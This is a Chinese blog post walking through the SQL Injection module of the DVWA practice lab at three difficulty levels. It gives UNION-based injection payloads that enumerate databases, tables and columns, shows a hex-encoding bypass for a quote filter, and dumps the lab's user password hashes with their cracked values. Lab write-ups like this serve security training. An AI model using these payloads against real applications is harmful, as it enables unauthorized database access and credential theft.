DVWA靶场通关之SQL Injection

2024-02-22 07:58

本文主要是介绍DVWA靶场通关之SQL Injection,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SQL Injection

以下ip均为dwva靶场的ip地址,这里我搭建在虚拟机win2008中

一. low
1. 求闭合字符
  • 输入1

image-20210622162312182

 1' and 1=1 #

image-20210622162436124

  • 可能存在单引号sql注入
2. 求列数
1' and 1=1 order by 2# 

image-20210622162828438

1' and 1=1 order by 3# 

image-20210622162910604

  • 说明有两列
3. 求显示位
1' and 1=2 union select 1,2 #

image-20210622163135926

4. 爆数据名
1' and 1=2 union select 1,database() #

image-20210622163331236

  • 数据库名为dvwa

  • 查询一下数据库名

1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hA2XDmLD-1626704824931)(实验三.assets/image-20210622163600637.png)]

5. 爆表名
1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

image-20210622164112982

  • 判断users表示想要的用户名密码表
6. 爆列名
1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

image-20210622164318525

7. 爆字段名
1' and 1=2 union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users) #

image-20210622164759984

用户名:admin

密码:5f4dcc3b5aa765d61d8327deb882cf99 解密:password

用户名:gordonb

密码:e99a18c428cb38d5f260853678922e03 解密:abc123

用户名:1337

密码:8d3533d75ae2c3966d7e0d4fcc69216b 解密:charley 等

二. medium

image-20210622171116782

html 锚点,# 表示返回当前页面

image-20210623001254371

  • 想到利用burpsuite修改数据包中的信息

image-20210622171249675

1. 求闭合字符
 id=1 and 1=1 //正确

image-20210622171452490

image-20210622171534360

id=1 and 1=2 //错误

image-20210622171706421

  • 发现是数字型sql注入
2. 求列数
id=1 order by 2

image-20210622172237197

image-20210622172253415

id=1 order by 3

image-20210622172323269
image-20210622172116458

  • 发现有2列
3. 求显示位
id=1 and i=2 union select 1,2

image-20210622172520517

image-20210622172609921

4. 爆数据库名
id=1 and 1=2 union select 1,database()

image-20210622172715392

image-20210622173511398

  • 数据库名为dvwa

  • 查询一下数据库名

id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)

image-20210622173741869

image-20210622173818998

  • 有dvwa数据库
5. 爆表名
id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') //报错,发现单引号被过滤,这里可以使用database()或者转换成16进制ascii码
id=1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()//正确

image-20210622174103340

image-20210622180556945

6. 爆列名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273//转换成16进制ascii码 

image-20210622181510099

image-20210622181436874

7. 爆字段名
id=1 and 1=2 union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users)

image-20210622181721010

image-20210622181754233

用户名:admin

密码:5f4dcc3b5aa765d61d8327deb882cf99 解密:password

用户名:gordonb

密码:e99a18c428cb38d5f260853678922e03 解密:abc123

用户名:1337

密码:8d3533d75ae2c3966d7e0d4fcc69216b 解密:charley

三. high
1.求闭合字符
id=1'//报错
id=1' and 1=1 #//正确
id=1' and 1=2 #//错误
  • 判断出来是单引号字符型注入
2.求列数
1' and 1=1 order by 2# 

image-20210623090039333

1' and 1=1 order by 3# 

image-20210623090129658

  • 判断是有两列
3. 求显示位
1' and 1=2 union select 1,2 #

image-20210623090335812

4. 爆数据库名
1' and 1=2 union select 1,database() #

image-20210623090637086

  • 数据库名为dvwa
  • 查询一下数据库名
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) #

image-20210623090710377

5. 爆表名
1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

image-20210623090859329

  • 判断users表示想要的用户名密码表
6.爆列名
1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

image-20210623090941068

7. 爆字段名
1' and 1=2 union select (select group_concat(user) from dvwa.users),(select group_concat(password) from dvwa.users) #

image-20210623091021050

用户名:admin

密码:5f4dcc3b5aa765d61d8327deb882cf99 解密:password

用户名:gordonb

密码:e99a18c428cb38d5f260853678922e03 解密:abc123

用户名:1337

密码:8d3533d75ae2c3966d7e0d4fcc69216b 解密:charley 等

这篇关于DVWA靶场通关之SQL Injection的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/734606

相关文章

MySQL 主从复制部署及验证(示例详解)

《MySQL主从复制部署及验证(示例详解)》本文介绍MySQL主从复制部署步骤及学校管理数据库创建脚本,包含表结构设计、示例数据插入和查询语句,用于验证主从同步功能,感兴趣的朋友一起看看吧... 目录mysql 主从复制部署指南部署步骤1.环境准备2. 主服务器配置3. 创建复制用户4. 获取主服务器状态5

SpringBoot中六种批量更新Mysql的方式效率对比分析

《SpringBoot中六种批量更新Mysql的方式效率对比分析》文章比较了MySQL大数据量批量更新的多种方法,指出REPLACEINTO和ONDUPLICATEKEY效率最高但存在数据风险,MyB... 目录效率比较测试结构数据库初始化测试数据批量修改方案第一种 for第二种 case when第三种

MySql基本查询之表的增删查改+聚合函数案例详解

《MySql基本查询之表的增删查改+聚合函数案例详解》本文详解SQL的CURD操作INSERT用于数据插入(单行/多行及冲突处理),SELECT实现数据检索(列选择、条件过滤、排序分页),UPDATE... 目录一、Create1.1 单行数据 + 全列插入1.2 多行数据 + 指定列插入1.3 插入否则更

MySQL深分页进行性能优化的常见方法

《MySQL深分页进行性能优化的常见方法》在Web应用中,分页查询是数据库操作中的常见需求,然而,在面对大型数据集时,深分页(deeppagination)却成为了性能优化的一个挑战,在本文中,我们将... 目录引言:深分页,真的只是“翻页慢”那么简单吗?一、背景介绍二、深分页的性能问题三、业务场景分析四、

MySQL 迁移至 Doris 最佳实践方案(最新整理)

《MySQL迁移至Doris最佳实践方案(最新整理)》本文将深入剖析三种经过实践验证的MySQL迁移至Doris的最佳方案,涵盖全量迁移、增量同步、混合迁移以及基于CDC(ChangeData... 目录一、China编程JDBC Catalog 联邦查询方案(适合跨库实时查询)1. 方案概述2. 环境要求3.

SQL server数据库如何下载和安装

《SQLserver数据库如何下载和安装》本文指导如何下载安装SQLServer2022评估版及SSMS工具,涵盖安装配置、连接字符串设置、C#连接数据库方法和安全注意事项,如混合验证、参数化查... 目录第一步:打开官网下载对应文件第二步:程序安装配置第三部:安装工具SQL Server Manageme

C#连接SQL server数据库命令的基本步骤

《C#连接SQLserver数据库命令的基本步骤》文章讲解了连接SQLServer数据库的步骤,包括引入命名空间、构建连接字符串、使用SqlConnection和SqlCommand执行SQL操作,... 目录建议配合使用:如何下载和安装SQL server数据库-CSDN博客1. 引入必要的命名空间2.

全面掌握 SQL 中的 DATEDIFF函数及用法最佳实践

《全面掌握SQL中的DATEDIFF函数及用法最佳实践》本文解析DATEDIFF在不同数据库中的差异,强调其边界计算原理,探讨应用场景及陷阱,推荐根据需求选择TIMESTAMPDIFF或inte... 目录1. 核心概念:DATEDIFF 究竟在计算什么?2. 主流数据库中的 DATEDIFF 实现2.1

MySQL 多列 IN 查询之语法、性能与实战技巧(最新整理)

《MySQL多列IN查询之语法、性能与实战技巧(最新整理)》本文详解MySQL多列IN查询,对比传统OR写法,强调其简洁高效,适合批量匹配复合键,通过联合索引、分批次优化提升性能,兼容多种数据库... 目录一、基础语法:多列 IN 的两种写法1. 直接值列表2. 子查询二、对比传统 OR 的写法三、性能分析

MySQL中的LENGTH()函数用法详解与实例分析

《MySQL中的LENGTH()函数用法详解与实例分析》MySQLLENGTH()函数用于计算字符串的字节长度,区别于CHAR_LENGTH()的字符长度,适用于多字节字符集(如UTF-8)的数据验证... 目录1. LENGTH()函数的基本语法2. LENGTH()函数的返回值2.1 示例1:计算字符串